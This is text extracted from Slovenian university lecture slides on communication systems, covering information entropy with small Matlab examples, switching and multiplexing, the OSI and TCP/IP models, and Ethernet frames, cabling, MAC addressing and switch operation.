
Osnovni pojmi 
Predmet: Komunikacijski sistemi 



Izvor, ponor, prenosna pot 

2 



Izvor, ponor, prenosna pot 
 Prenosne poti 

 kovinski vodniki, optična vlakna, zrak, voda, …  
 ožičeno/brezžično 

 Signali 
 so fizikalne veličine, se spreminjajo s časom 

 Izvor in ponor 
 morata biti usklajena za uspešen prenos informacij 
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Signali 
 Zapis signala v časovnem in/ali frekvenčnem prostoru 
 Analogni signali in digitalni signali 
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Prednosti digitalnega zapisa informacij 
 Možnost digitalne obdelave 

 Kompresija 
 Zaščita pred napakami 
 … 

 Učinkovitejše hranjenje 
 Učinkovitejši prenos 
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Količina informacij 
 Količina informacij je povezana s stopnjo nedoločenosti 

dogodka o katerem sporočamo 
 dogodek mora zato imeti najmanj dva možna izida 
 izidi so nepredvidljivi oz. naključni 

 Primer 1: met kovanca 
 dva možna izida 

 cifra, grb 
 verjetnost posameznega izida je 1/2 

 Primer 2: obvestilo o stanju prižganosti luči v prostoru 
 dva možna izida 

 prižgano, ne prižgano 
 verjetnost (za primer, da je bolj verjetno, da bo luč ugasnjena) npr.: 

 prižgano 1/4 
 neprižgano ¾ 

 Posamezne dogodke lahko nanizamo v zaporedni niz 
dogodkov 
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Kako merimo informacijo 
 Teorija informacij 

 Claude E. Shannon: A Mathematical Theory of Communication 
 http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf 

 Entropija, bit, byte, ... 
 Primeri: Matlab 

pX=[0.5, 0.5] 

HX=sum(-pX.*log2(pX)) 

pX=[0.9, 0.1]; 

HX=sum(-pX.*log2(pX)) 

pX=[1, 0]; 

HX=sum(-pX.*log2(pX)) 

pX=[1/6,1/6,1/6,1/6,1/6,1/6] 

HX=sum(-pX.*log2(pX)) 

HX=sum(-pX.*log2(pX)) 

pX=[1/2,1/10,1/10,1/10,1/10,1/10] 

HX=sum(-pX.*log2(pX)) 

 

px1=0:0.001:1; 

HX=-px1.*log2(px1)-(1-px1).*log2(1-px1); 

plot(px1,HX) 

 Shannonov 1. teorem: HX=<n=<HX+1; n bitov za zapis 
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Digitalizacija: analogno <-> digitalno 
 Pretvorba analognega signala v digitalni zapis: 

1. (Časovno) vzorčenje (analognega signala) 
 Nyquist-Shannonov (3.) teorem: o vzorčenju 

2. Kvantizacija (vzorcev) 
 
 
 
 
 
 
 
 
 
 Primer: digtalizacija govornega signala [0-4kHz] v 64 kb/s podatkovni 

tok 
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Prenos signalov 
 Kodiranje 

 V izvoru (npr. A/D pretvorba, izločanje redundance, …) 
 Za boljši prenos (npr. mehanizmi za zaznavo in odpravo napak, lažjo 

sinhronizacijo izvora in ponora, za oblikovanje frekvenčnega spektra) 
 Digitalni simboli in digitalni signal 
 Frekvenčni spekter 
 Modulacija in demodulacija 
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Elementi arhitekture IKT sistemov 
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Elementi arhitekture IKT sistemov 
 Terminali –TE, (angl. Terminal Equipment) 

 npr. mobilni telefon, osebni računalnik z omrežno povezavo, … 
 Omrežni elementi – NE, (angl. Network Element) 

 npr. usmerjevalniki (omrežja IP), centrale (omrežje ISDN), nadzorniki 
baznih postaj (mobilna omrežja), … 
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Omrežne storitve 
 Naslavljanje in prenos 
 Mobilnost 
 Zagotavljanje kakovosti storitev 
 Varnostne storitve 
 Avtentikacija, avtorizacija in beleženje 
 Navidezna (virtualna) zasebna omrežja 
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Komunikacijski protokoli in 
standardi 

13 

Predmet: Komunikacijski sistemi 



Komunikacijski protokoli 
 Protokol je nabor pravil in postopkov, ki določajo in 

uravnavajo obliko ter prenos podatkov med dvema 
komunicirajočima entitetama. 

 Protokoli, ki so v javni uporabi, so navadno standardizirani. 
Obstaja vrsta organizacij, ki skrbi za pisanje standardov 
oziroma priporočil, ki jih je potrebno upoštevati pri 
implementaciji protokolov. 
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Komunikacijski standardi 
 Standardi so dokumentirani dogovori, ki vsebujejo tehnične 

specifikacije ali druge natačno določene kriterije, ki se 
konsistentno uporabljajo kot pravila, smernice ali definicije 
lastnosti, da bi materiali, izdelki ali storitve ustrezale svojim 
namenom. 

 Zakaj jih potrebujemo: 
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Posredovanje oz. prenos informacij 
 Način strukturiranja informacij za prenos (prek omrežja ali 

prenosne poti) med ponorom in izvorom 
 Paketno posredovanje 
 Tokokrogovno posredovanje 

 Podporne informacije in mehanizmi za posredovanje 
 Kontrolne informacije v protokolnih podatkovnih enotah 
 Signalizacija 
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Tokokrogovna komutacija 
 Nekomutirane 

tokokrogovne 
povezave 
 
 

 Tokokrogovna 
komutacija 
 fleksibilno 

postavljanje 
tokokrogovnih 
povezav 
 statična 

topologija 
 dinamična 

topologija 
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Paketna komutacija 
 Paketna (celična) komutacija 

 vsak paket (PDU) nosi vse podatke za usmerjanje skozi omrežje 
 paket je lahko spremenljive dolžine 
 izvor lahko oddaja toliko paketov, kot to dopušča celotno omrežje 

(ne pa le kapaciteta tokorogovne povezave) 
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Multipleksiranje podatkovnih tokov 
 Prostorsko multipleksiranje (ang. SDM – Space Division) 

 uporaba ločenih prenosnih poti, npr.: 
 snopi vodov, npr. optični kabli 
 prostorsko pogojeno ponavljanje frekvenčnih območij, npr. celični sistemi 

mobilnih komunikacij 

 Časovno multipleksiranje (ang. TDM – Time Division) 
 časovno dodeljevanje možnosti/pravice do uporabe prenosne poti 

med več uporabnikov 
 Frekvenčno multipleksiranje (ang. FDM – Frequency 

Division) 
 uporaba različnih frekvenčnih (pod)pasov za prenos 

 Kodno multipleksiranje (ang. CDM – Code Division) 
 signale množimo z ortogonalnimi pseudo-naključnimi nizi 
 frekvečni spekter je razpršen 

 Možna kombinacija različnih tehnik 
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Multipleksiranje pri različ. komutacijah 
 Tokokrogovna 

 
 
 
 
 

 Paketna 
 
 
 
 
 

 
 belo označene površine: trenutno neizrabljena pasovna širina 
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Značilnosti različnih posredovanj 
Tokokrogovno 
posredovanje 

Paketno 
posredovanje 

 
 

Prednosti 

 stalno zagotovljeni viri v 
omrežju 

 ni medsebojnega vpliva 
povezav 

 predvidljive zakasnitve, 
majhno potresavanje 

zakasnitve 
 kakovost 

 možnost statističnega 
multipleksiranja 

 možnost podpore izbruhom 
prometa 

 omejitve oddaje sporočil 
postavlja omrežje 

(netokokrogovna povezava) 

 
 

Slabosti 

 lahko slabša izkoriščenost 
virov v omrežju (odvisno od 

tipa prometa) 
 nujno je vzpostavljanje 

povezav 

 zakasnitve pri prenosu niso 
nujno predvidljive 

 v nepovezavnih omrežjih večja 
verjetnost napak, manjša 

zanesljivost 
 medsebojni vpliv posameznih 

tokov sporočil 
 potrebna je obdelava vsakega 

posameznega paketa 
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Povezavna in nepovez. usmerjenost 
 Povezavno usmerjene komunikacije 

 vzpostavitev zveze/seje  
 izbor partnerja oziroma končne naprave, ugotavljanje pripravljenosti 

končne naprave, preverjanje virov omrežja in njihovo zaseženje ter 
vzpostavitev povezave, 

 prenos podatkov 
 transparentna izmenjava podatkov  

 sprostitev zveze  
 sprostitev uporabljenih naprav in prenosnih kanalov. 

 Nepovezavno usmerjene komunikacije 
 terminali oddajajo pakete brez poprejšnje vzpostavitve zveze/seje s 

ciljnim terminalom, tudi sprostitve zveze ni 
 obstoji samo faza prenosa podatkov 
 podatkovni paketi vsebujejo izvorni in ciljni naslov 
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Značilnosti različ. tipov povezavnosti 
 

Povezavno Nepovezavno 

 
Prednosti 

 možna večja zanesljivost 
prenosa, odprava napak 

 možnost nadzora pretoka 
količine sporočil, preprečevanje 

zasičenja 

 enostavnost 

 

 
Slabosti 

 potebujemo signalizacijo 
 protokoli/omrežja so 

kompleksnejša 

 nezmožnost zanesljivega 
prenosa, zagotavljanja vrstnega 

reda prenesenih sporočil 
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Relacija povezavnost - komutacija 
 Tokokrogovna omrežja so vedno povezavno usmerjena 

 povezavnost zagotavlja/vsiljuje že sam fizični tokokrog 
 Paketna omrežja/povezave so lahko povezavno ali 

nepovezavno usmerjena 
 (ne)povezavnost je odvisna od uporabljenih komunikacijskih 

protokolov 
 

   Komutacija 

  Tokokrogovna Paketna 

Povezavno ISDN, PSTN, SDH ATM, MPLS 

P
o
v
e
za

v
n
o
st

 

Nepovezavno / Ethernet, IP 
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Umestitev tehnologij 

Omrežne tehnologije 

Tokokrogovno posredovanje Paketno posredovanje 

Povezavna  
usmerjenost 

IP, Ethernet TCP, MPLS 

Nepovezavna  
usmerjenost 

ISDN, DTM 

Statična Dinamična 

DWDM, SDH 
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Primerjava prenosnih tehnik 
Synchronous Transfer Mode

Packet Transfer Mode

Asynchronous Transfer Mode - ATM

Elementarna enota: Časovno okno v okviru
Povezava: Stalno časovno okno v okviru

Elementarna enota: bit
Povezava: Spremenljivo št. bitov

(=paket)

Povezava: Stalno število bitov (=CELICA)

Elementarna enota: bit



LTFE - Laboratorij za telekomunikacije, Fakulteta za elektrotehniko 

OSI referenčni model in primeri 
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Komunikacijski skladi 
 Nivojski modeli 

 interoperabilnost 
 neodvisnost slojev 
 transparentne storitve 
 komunkacijski vmesnik in pristopne točke 

 Protokol 
 nabor pravil in postopkov, ki določa načine komunikacije med/v 

nivojih 
 navidezne horizontalne povezave 
 prenos podatkov poteka vertikalno 
 protokoli so standardizirani 
 implementacija je poljubna 

 OSI 
 Referenčni model 

 Praktični modeli 
 na primer: protokolni sklad TCP/IP 



LTFE - Laboratorij za telekomunikacije, Fakulteta za elektrotehniko 
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OSI Referenčni model 
 Aplikacijski (L7) 

 
 Predstavitveni (L6) 

 
 Sejni (L5) 

 
 Transportni (L4) 

 
 Omrežni (L3) 

 
 Podatkovni (L2) 

 
 Fizični (L1) 
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OSI referenčni model – L1 
 Fizični sloj 

 Najnižji sloj (sloj 1) v OSI modelu 
je fizični sloj. Fizični sloj je 
odgovoren za vzpostavitev, 
vzdrževanje in rušenje fizičnega 
tokokroga med končno 
podatkovno opremo in opremo 
za zaključevanje podatkovnih 
vodov. Za fizični sloj je bilo 
napisanih in objavljenih mnogo 
standardov, med njimi sta tudi 
RS-232 in V.24. 
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OSI referenčni model – L2 
 Sloj podatkovne povezave 

 Ta sloj v OSI modelu je sloj 
podatkovne povezave. 
Odgovoren je za varen in 
uspešen prenos podatkov preko 
kanala. Sinhronizira pretok 
podatkov iz fizičnega sloja in 
skrbi za identiteto bitov. Ena 
izmed najpomembnejših funkcij 
tega sloja je, da ugotavlja 
 
 
 
 
 
 
 
 
 napake, kot so izgube, 
podvajanje ali spremembe 
podatkov, ter jih skuša popraviti. 
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OSI referenčni model – L3 
 Omrežni sloj 

 Vsebuje znanje o omrežjih, ki mu 
dovoljuje vzpostavljanje poti po 
različnih vodih za dostavo paketa 
podatkov do končnega vozlišča. 
Ta sloj poskrbi tudi za vmesnik 
med DTE in paketno komutiranim 
omrežjem in/ali za vmesnik med 
  
 
 
 
 
 
 
dvema DTE omrežjema,  
povezanima preko paketno 
komutiranega omrežja. Določa 
tudi usmerjanje in komunikacijo 
med omrežji, odgovoren pa je 
tudi za odpravljanje in 
preprečevanje zamašitev. 
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OSI referenčni model – L4 
 Transportni sloj 

 Poskrbi za vmesnik med 
podatkovnim  komunikacijskim 
omrežjem in med zgornjimi tremi 
sloji OSI modela. Ta sloj, kjer je 
to primerno, preoblikuje 
 
 
 
 
 
 
 
uporabniška sporočila v okvirje 
ali pakete. Ta sloj je, v primeru da 
podatkovni okvirji ne prispejo do 
sprejemnega konca, odgovoren 
za ponovno pošiljanje teh 
okvirov. Transportni sloj je 
dolžan zagotavljati neoporečna 
sporočila brez napak slojem nad 
njim. 
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OSI referenčni model – L5 
 Sejni sloj 

 Odgovoren je za uporabniški 
vmesnik do storitev L4. Vsebuje 
urejene metode izmenjevanja 
podatkov med uporabniki.  
 
 
 
 
 
 
Omogoča izbiro tipa 
sinhronizacije in nadzora, kot so 
alternirajoči dvosmerni dialog in 
simultani dvosmerni dialog; 
sinhronizacijske točke za 
vmesno preverjanje in obnovitev 
prenosa datotek ob napaki; 
predčasna prekinitev in ponovni 
zagon; in običajen ter pospešen 
pretok podatkov. Vzpostavlja in 
izpogaja začetek seje. 
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OSI referenčni model – L6 
 Predstavitveni sloj 

 Odgovoren je za sintakso oz.  
 
 
 
 
 
 
 
predstavitev podatkov. Sprejema 
tipe podatkov (character, integer) 
iz aplikacijskega sloja in se nato 
odloča, skupaj z njegovim 
usklajevalnim slojem, kot je npr. 
ASCII itd., za sintaksno 
reprezentacijo. Preprosteje 
povedano, ta stopnja je 
zadolžena in odgovorna za 
formatiranje oziroma oblikovanje 
podatkov. 
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OSI referenčni model – L7 
 Aplikacijski sloj 

 
 
 
 
 
 

 Podpira aplikacijske procese 
končnega uporabnika in se 
ukvarja s semantiko podatkov. 
Skrbi tudi za to, da storitveni 
elementi dokončajo ter zaključijo 
aplikacijske procese, kot so 
izmenjava finančnih podatkov,  
zmenjava poslovnih podatkov, 
upravljanje z delom ipd. 
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OSI RM – vertikalna komunikacija 
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OSI Referenčni model 

SejniSejni

TransportniTransportni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

Prenosni medij

AplikacijskiAplikacijski

PredstavitveniPredstavitveni

7

6

5

4

3

2

1

SLOJ

SejniSejni

TransportniTransportni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

AplikacijskiAplikacijski

PredstavitveniPredstavitveni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

Logična komunikacija

Fizična kom
unikacija



LTFE - Laboratorij za telekomunikacije, Fakulteta za elektrotehniko 

13 

OSI RM – sestavljanje PDU 
 OSI referenčni model sam po sebi ne predstavlja standarda  

temveč okvir, v katerem se sprejemajo standardi 
 

Layer N 

header 
Payload 

Layer N 

trailer 

User data L7 L7 

User data L7 L7 L6 L6 

L5 L5 User data L7 L7 L6 L6 

L5 L5 User data L7 L7 L6 L6 L4 L4 

L5 L5 User data L7 L7 L6 L6 L4 L4 L3 L3 

L5 L5 User data L7 L7 L6 L6 L4 L4 L3 L3 L2 L2 

L5 L5 User data L7 L7 L6 L6 L4 L4 L3 L3 L2 L2 L1 L1 
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Potek komunikacije 

Sejni Sejni 

Transportni Transportni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

Aplikacijski Aplikacijski 

Predstavitveni Predstavitveni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

podatki podatki 

Sejni Sejni 

Transportni Transportni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

Aplikacijski Aplikacijski 

Predstavitveni Predstavitveni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 
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Primerjava OSI in TCP/IP modela 
 OSI sklad je bolj sistematičen in konceptualen 
 Plasti sklada IP niso strogo definirane in ločene med seboj 
 OSI sklad je zgolj referenčni model in nikoli ni v celoti 

“zaživel” 

Aplikacijski 

Predstavitveni 

Sejni 

Transportni 

Omrežni 

Povezavni 

Fizični 

Omrežni 

Fizični 

Transportni 

Aplikacijski 

IP 

LAN WLAN 

TCP UDP 

Telnet FTP HTTP 
OSI TCP/IP 

L7 

L6 

L5 

L4 

L3 

L2 

L1 
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IP protokolni sklad 

Fizični sloj 

Povezavni sloj 

IP 

UDP TCP 

ARP 

ICMP 

snmp dns 
nfs 
+ 

rpc 
telnet smtp X ftp http 

T
ra

c
e

rt 

P
in

g
 



Lokalna omrežja 
Tehnologija Ethernet 

Kazalo 
 Lokalna omrežja 
 Tehnologija Ethernet 
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Sodobni komunikacijski sistemi 
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Video storitve

Govorne storitve

Podatkovne storitve 
in Internet 

Poslovni procesi

U
po

ra
bn

ik
i

  Fiksni sistemi

    Brezžični in
  mobilni sistemi

  Radiodifuzni 
      sistemi

Paketni

Tokokrogovni

Paketni

Tokokrogovni

Ponudniki storitev in vsebin

Načrtovanje, upravljanje in nadzor sistemov

Po
sl

ov
na

 in
 re

zi
de

nč
na

 o
m

re
žj

a

Dostopovna omrežja Hrbtenična omrežja

Analogni

Digitalni

Tokokrogovni

Paketni

Storitveni sistemi

Izdelava vsebin

Operatersko omrežje – Internet 
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Internet 
 Zelo veliko število končnih odjemalcev 

 osebni računalniki, delovne postaje, prenosniki, strežniki, dlančniki, 
pametni mobilni telefoni  

 Različne komunikacijske povezave 
 optika, baker, brezžični in mobilni, sateliti  

 Usmerjevalniki 
 usmerjajo in posredujejo pakete 

 Internet je “omrežje omrežij” 
 omrežja, ki so med seboj povezana  

5 

Klasifikacija omrežij IP 
 Glede na doseg pokrivanja 

 osebno omrežje  
 PAN – Personal Area Network 

 lokalno omrežje  
 LAN – Local Area Network 

 omrežje v kampusu 
 CAN – Campus Area Network 

 mestno omrežje  
 MAN – Metropolitan Area Network 

 prostrano omrežje  
 WAN – Wide Area Network 

 
 Omrežji PAN in LAN – domača omrežja 
 Omrežja PAN, LAN, CAN – omrežja v poslovnih okoljih 
 Omrežji MAN in WAN – operaterska omrežja 
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PANLANCANMANWAN

Vir: http://en.wikipedia.org/wiki/Internet 



Lokalna omrežja – LAN 
 Osnovni elementi omrežja 

 terminalna oprema 
 osebni računalniki delovne postaje 

 strežniki, omrežni tiskalniki 
 omrežna oprema 

 stikala, usmerjevalniki, požarni zidovi, brezžične dostopovne točke 

 Komunikacijske povezave med elementi omrežja 
 optične, bakrene, brezžične 
 “de-facto” standard predstavlja tehnologiji Ethernet 

 

 Namen omrežja – zagotavljanje omrežnih storitev 
 prenos datotek – protokol FTP (angl. File Transfer Protocol) 
 prenos elektronske pošte – SMTP (angl. Simple Mail Transfer Protocol) 
 spletne storitve – HTTP (angl. HyperText Transfer Protocol) 
 upravljanje naprav – SNMP (angl. Simple Network Manage Protocol) 

7 

Tehnologija Ethernet 



Začetki Ethernet 
 Ethernet = Ether + Net 

 1973! 

 Xerox PARC 
 Robert Metcalfe 

 Izhodišča pri razvoju  
 deluje po principu “plug and play” 
 poceni in preprosto povezovanje računalnikov v omrežjih LAN 
 skupen prenosni medij – koaksialni kabel 

 osnova za prenos – protokol CSMA/CD 
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Razvoj Ethernet-a 
 1970 Aloha – University of Hawaii 
 1973 Xerox – 3 Mbit/s Ethernet 
 1980 standard DIX (Digital, Intel in Xerox) v1.0 – Ethernet 
 1982 standard DIX v2.0 – Ethernet II 
 1983 IEEE 802.3 – 10Base5 (thick) 
 1985 IEEE 802.3a – 10Base2 (thin) 
 1990 IEEE 802.3i – 10Base-T 
 1995 IEEE 802.3u – 100base-T 

 100base-TX, 100base-T4, 100base-FX (optika) 
 1997 IEEE 802.3x – standard za full-duplex 
 1998 IEEE 802.3z – 1000base-X (Gigabit Ethernet) 
 1998 IEEE 802.3ac – VLAN 
 2003 IEEE  802.3ae (optika) 
 2006 802.3an – 10G (UTP) 

10 



Ethernet in referenčni model OSI 

11 

Fizična plast 

Povezavna plast 

Omrežna plast 

Transportna plast 

Plast seje 

Predstavitvena plast 

Aplikacijska plast 

Fizična plast 

Media Access Control (MAC) 
MAC client (LLC oz. Bridge) 

Višje ležeči protokoli 

Referenčni model OSI Referenčni model Ethernet (IEEE 802.3) 

802.3 
Ethernet 

802.1 oz. 802.2 

Značilnosti tehnologije Ethernet 
 Tehnologija v osnovi razvita za okolja LAN 

 deluje po princip ˝Plug and Play˝ 
 nič ni potrebno nastaviti, vse se zgodi avtomatsko 

 Tehnologija Ethernet 
 fizični vmesniki Ethernet 

 prenosne hitrosti 10/100/1000/10000/40000 Mbit/s 
 prenos prek optičnih vodnikov in bakrenih vodnikov 
 brezžični Ethernet – WiFi/WLAN  

 omrežna oprema Ethernet 
 angl. hub, bridge, switch 

 podporni mehanizmi Ethernet 
 VLAN (angl. Virtual LAN) – mehanizem za virtualizacijo omrežja 
 STP (angl. Spanning Tree Protocol) – mehanizem za preprečevanje zank  

 zagotavljanje velike razpoložljivosti in redundantnih povezav 

 PoE (angl. Power over Ethernet) – napajanje naprav prek Ethernet 
 Link aggregation – združevanje fizičnih vmesnikov  

12 



Komponente omrežja Ethernet 
 Končne naprave Ethernet 

 osebni računalniki, delovne postaje, strežniki, IP telefoni 
 usmerjevalniki, požarni zidovi 

 Omrežna oprema Ethernet 
 stikalo Ethernet (angl. switch) – aktivno vozlišče 
 obnavljalnik/vozel Ethernet (angl. hub) – pasivno vozlišče 

13 

Omrežje Ethernet 

Okvir Ethernet in uporabniška vsebina 
 Uporabniška vsebina se prenaša v okvirjih Ethernet 

 uporabniška vsebina – paketi IPv4, IPv6, ARP, MPLS 

 Naloga okvirja Ethernet 
 prenos “bitov – uporabniške vsebine” prek fizičnega medija 
 naslavljanje Ethernet naprav, odkrivanje napak pri prenosu 

 Vsebina in velikost okvirja Ethernet je za vse verzije Ethernet-a 
enaka 
 omogoča združljivost “novih različic” Ethernet-a za obstoječimi 
 dokler se uporabniška vsebina prenaša prek Ethernet omrežja, se okvir ne 

spreminja 

 Značilnosti okvirja Ethernet 
 velikost okvirja je 1518 oktetov 
 velikost “glava + rep” je 18 oktetov 
 velikost koristne vsebine je 1500 oktetov (npr. paketa IPv4) 

14 
Ethernet glava Uporabniška vsebina – paket IP rep 



Struktura okvirja Ethernet 
 Preamble – niz potreben za 

sinhronizacijo (1010 ...)  
 združljivost za nazaj – 10 Mbit 

Ethernet (asinhron)  
 SFD (Start Frame Delimiter) – konec 

sinhronizacije (niz 10101011) 

 Destination/source 
 ciljni/izvorni naslov MAC  

 Length/Type 
 vrednost manjša od 600 HEX (=1536 

dec) – polje Length 
 vrednost enaka ali večja od 600 HEX 

- polje Type 
 0800HEX = IPv4, 806HEX=ARP 

 PAD – polnilni biti 
 FCS – polje za zapis izračunane 

vrednosti CRC 
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Okvir IEEE 802.3 

Okvir Ethernet II – DIX v2 

Preamble 
7 

SFD 
1 

Destination 
6 

Source 
6 

Length/ 
Type 2 

Data 
46 do 1500 

Pad 
 

FCS 
4 

preamble 
8 

destination 
6 

source 
6 

Type 
2 

Data 
46 do 1500 

Pad 
 

FCS 
4 

Vmesniki Ethernet 



Ethernet vmesniki 
 Ethernet fizični vmesniki – trenutne hitrosti vmesnikov 

 10 Mbit/s, 100 Mbit/s, 1 Gbit/s, 10 Gbit/s, (40 Gbit/s, 100 Gbit/s) 

 Mehanizem za avtomatsko prilagajanje hitrosti in način delovanja 
 half duplex, full duplex 
 npr. vmesnik 1000BASE-T lahko deluje z različnimi hitrostmi: 1000 Mbit/s, 

100 Mbit/s, 10 Mbit/s 
 odvisno od hitrosti vmesnika na napravi (stikalo) na katero je priključen 

 Prenos v osnovnem pasu (base band) 
 omogoča neposreden prenos prek različnih medijev 

 bakreni vodniki (npr. vodnik UTP, konektor RJ45) 
 optični vodniki (npr. večrodovno vlakno MM, konektor LC)  

 

17 
Kabel UTP Konektor RJ45 

Večrodovno optično vlakno  
s konektorjem LC 

Ethernet – ožičenje UTP 
 Kabel UTP – 8 žilni kabel (4 pari) 

 oranžna, oranžno-bela 
 zelena, zeleno-bela 
 modro, modro-bela 
 rjava, rjavo-bela 

 
 Konektor RJ45 

 moški del  
 ženski del 
 

 

 Klasičen kabel UTP “straight through 
 povezovanje sponk konektorjev  

18 



Ethernet standardi 
 Ethernet vmesniki  Ethernet naprave 
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802.2 Logical Link Control 

802.1 Bridge 

Fizični in povezavni sloj Ethernet 
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MDI 

Physical medium- 
dependent layers 

MII 

Physical medium- 
independent layers 

802.3 MAC 

MAC Client 

MDI 

Physical medium- 
dependent layers 

MII 

Physical medium- 
independent layers 

802.3 MAC 

MAC Client 

Fizični medij 
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Media Access Control (MAC)  
 Podsloj, ki določa način sodostopa do skupinskega medija 

 kolizijske domene ˝collision domain˝ 

 MAC – tipi 
 deterministični – ne prihaja do kolozij (taking turns) 

 FDDI 
 fizično – topologija dvojnega obroča 
 logično – topologija obroča 

 Token Ring 
 fizično – topologija zvezde 
 logično – topologija obroča 

 nedeterministični – lahko prihaja do kolozij (first come, first served) 
 CSMA/CD – Carrier Sense Multiple Access/Collision Detection 

 fizično – topologija zvezde ali vodila 
 logični – topologija vodila 

Token 
Ring 

FDDI 

Ethernet 

Ethernet 

10Base5 in 10Base2 
 Prenosni medij – 10base5 

 ˝debeli˝  koaksialni kabel - ˝thick˝ (50 Ohm) 
 maksimalna dolžina 500 m 
 odlična zaščita pred zunanjimi motnjami 

 Prenosni medij – 10base2 
 ˝tanek˝ koaksialni kabel - ˝thin˝ (50 Ohm) 
 maksimalna dolžina 185 m 
 dobra zaščita pred zunanjimi motnjami 

 Fizično/logično topologija vodila 
 Prenosni način half-duplex 
 Teoretična hitrost 10 Mbit/s 
 Pravilo 5-4-3 

 5 – število segmentov 
 4 – število regeneratorjev (repeater) 
 3 – število segmentov na katere 

lahko priključimo terminale 
22 



10Base-T 
 Terminali so centralno povezani na ˝hub˝ ali stikalo 

 fizično topologija zvezde 
 logično topologija vodila 

 Prenosna načina 
 osnovna verzija half-duplex 
 kasneje dodan full-duplex 

 Teoretična hitrost 
 10 Mbit/s (half-duplex) 
 20 Mbit/s (full-duplex) 

 Prenosni medij 
 kabel UTP 

 Categorija 3 oz. boljši 

 maksimalna dolžina 100 m 
 konektorji RJ-45 
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100 Mbit/s – Fast Ethernet 
 Najbolj razširjena standarda 

 100Base-TX  
 prenosni medij UTP Cat 5 
 konektoriji RJ-45 

 100base-FX 
 prenosni medij večrodovno optično vlakno 
 konektorji ST ali SC 

 Kodiranje 
 4B/5B 
 linijsko kodiranje: MLT-3 (UTP), NRZI (optika) 

 Teoretična hitrost 
 100 Mbit/s (half-duplex) 
 200 Mbit/s (full-duplex) 

24 



1000 Mbit/s – Gigabit Ethernet 
 1000Base-T, 1000Base-SX, 1000Base-LX 
 Prenosni medij UTP ali optično vlakno 
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1000Base-T 
 Prenosni medij – kabel UTP Cat 5e  

 uporabljeni so vsi štirje pari 

 Simultan full-duplex prenos omogoča hitrosti do 1 Gbit/s 
 4*250Mbit/s 

 Združljiv s standardoma 10base-T in 100base-TX 

26 



Koncept delovanja – 1000Base-T 
 Sporočilo se razdeli na štiri vzporedne nize 

 vsak niz se posebej kodira, odda, sprejme, dekodira 

 Linijsko kodiranje je 17 nivojsko 
 velika občutljivost na šum 
 zelo pomembna je kvaliteta kablov in izvedba zaključitev 

27 

1000Base-SX in 1000Base-LX 
 Kodiranje 

 8B/10B 
 linijsko kodiranje NRZ 

 Prenosni način full-duplex (dve optični vlakni) 
 1000Base-SX 

 prenosni medij – večrodovno optično vlakno 
 oddajnik – laser ali LED (850 nm) 

 cenejši, krajše razdalje (do 500 m) 

 1000base-LX 
 prenosni medij – enorodovno/večrodovno optično vlakno 
 oddajnik – laser (1300 nm) 

 dražji, daljše razdalje (do 5000 m) 

28 



Ethernet omrežne naprave 

Ethernet omrežnih naprav 
 Obnavljalnik (angl. regenerator) 

 dvo portna naprava, ki zgolj slepo prenaša okvirje iz enega omrežja v drugo 
omrežje (deluje na sloju L1)   

 Vozel (angl. hub) 
 obnavljalnik z več vrati (porti)  

 Premoščevalnik (angl. bridge) 
 naprava, ki prenaša okvirje iz enega omrežja v drugo omrežje glede na 

naslov MAC (deluje na sloju L2) 
 gradi si tabelo, v katero si zapisuje, s kakšnimi naslovi prihajajo okvirji prek 

določenih vrat. Okvir pošlje samo na tista vrata, katerih naslov ustreza 
ciljnemu naslovu zapisanem v glavi okvirja Ethernet.  

 Stikalo (angl. switch) 
 premoščevalnik z več vrati (porti) 

 Usmerjevalnik (angl. router) 
 naprava, ki prenaša pakete IP iz enega omrežja v drugo omrežje glede na 

naslov omrežnega nivo (deluje na sloju L3) 
30 



Omrežne naprave – umestitev v OSI 
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Ethernet 

Glava IP 

TCP Podatki 

Podatki 

Podatki 

 

Podatki L5 - L7 

L4 

L3 

L2 

L1 

usmerjevalnik 

premoščevalnik, 
stikalo 

obnavljalnik, 
vozel (hub) 

rep 

010101010101000010101111111010101111 

Ethernet naslavljanje 
 48 bitni naslov MAC zapisan v formatu HEX 

 sestavljen iz dveh delov: OUI in vendor assigned 
 primeri naslovov OUI 

 Cisco (00-60-2F-xx-xx-xx) 
 IANA multicast (01-00-5E-xx-xx-xx) 

 Tipi naslovov MAC 
 unicast, multicast, broadcast (FF-FF-FF-FF-FF-FF) 

32 

Organizational Unique Identifier (OUI)  Vendor assigned  
3 okteti 3 okteti 

0000 0001 0000 0000 0101 1110 0000 0000 0000 0000 0001 0110 

bit, ki določa tipa naslova: ˝0˝ - unicast, ˝1˝ - multicast oz. broadcast 

1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111  broadcast 



Ethernet stikalo 
 Standard ANSI/IEEE 802.1D 

 transparent bridge 
 spanning tree 

 Vzdržuje tabelo (tabela MAC, CAM, Filtering Database) v kateri so 
vnosi, ki zagotavljajo mapiranje med naslovi MAC in 
posameznimi fizičnimi vmesniki 
 statični vnosi 
 dinamični vnosi - posamezen vnos se odstrani po izteku časovnika (Ageing 

Time = 300 s) 

 Princip delovanja 
 okvir (unicast) se posreduje samo na tista izhodna vrata, katerih naslov 

MAC ustreza ciljnemu naslovu zapisanem v glavi okvirja 
 če v tabeli MAC ni vnosa za posamezen ciljni naslov MAC se okvir (unicast) 

posreduje na vse izhodne vmesnike 
 okvirji, ki vsebujejo multicast in broadcast naslov se posredujejo na vse 

oktivne izhodne vmesnike 
33 

Princip delovanja stikala Ethernet 

ciljni naslov MAC izhodni vmesnik 
1111.1111.1111 E1 
2222.2222.2222 E2 
3333.3333.3333 E3 
4444.4444.4444 E4 

34 

E4 

E2 E3 

E1 

MAC = 1111.1111.1111 

MAC = 2222.2222.2222 MAC = 3333.3333.3333 

MAC = 4444.4444.4444 

tabela MAC 



Omrežne naprave – L1 in L2 

35 

hub 

kolizijska 
domena 

bridge 

hub 

hub 

v primeru ˝full-duplex˝ 
prenosa ni kolizij 

kolizijska 
domena B 

kolizijska 
domena A 

stikalo 

broadcast 
domena 

kolizijske 
domene 

kolizijske 
domene 

broadcast 
domena 

Omrežne naprave L1 in L2 in L3 
